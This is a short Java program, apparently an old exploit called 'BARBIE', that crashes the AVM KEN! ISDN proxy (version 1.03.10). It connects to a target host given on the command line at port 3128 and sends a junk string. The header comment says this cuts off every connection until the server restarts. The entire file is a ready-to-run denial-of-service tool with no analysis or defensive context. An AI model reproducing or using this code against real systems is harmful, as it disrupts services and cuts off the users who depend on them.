import java.net.Socket; import java.io.*; /* BARBIE - The AVM KEN! exploit This exploit causes a crash in the AVM KEN! ISDN Proxy software. All conections will be cut off, but the server will restart again, a few seconds later. Tested with AVM KEN! Version 1.03.10 (german) */ class barbie { String adress; public void killken() { PrintWriter out = null; try{ Socket connection = new Socket( adress, 3128); System.out.println(""); System.out.println("killing..."); out = new PrintWriter(connection.getOutputStream(), true); out.println("Whooopppss_Ken_died"); connection.close(); } catch (IOException e) { System.out.println(""); System.out.println(" Can't met Ken! "); } } public static void main (String arguments[]) { barbie kk = new barbie(); if(arguments.length < 1) { System.out.println(""); System.out.println("usage: java barbie "); System.exit(1); } kk.adress = arguments[0]; kk.killken(); } }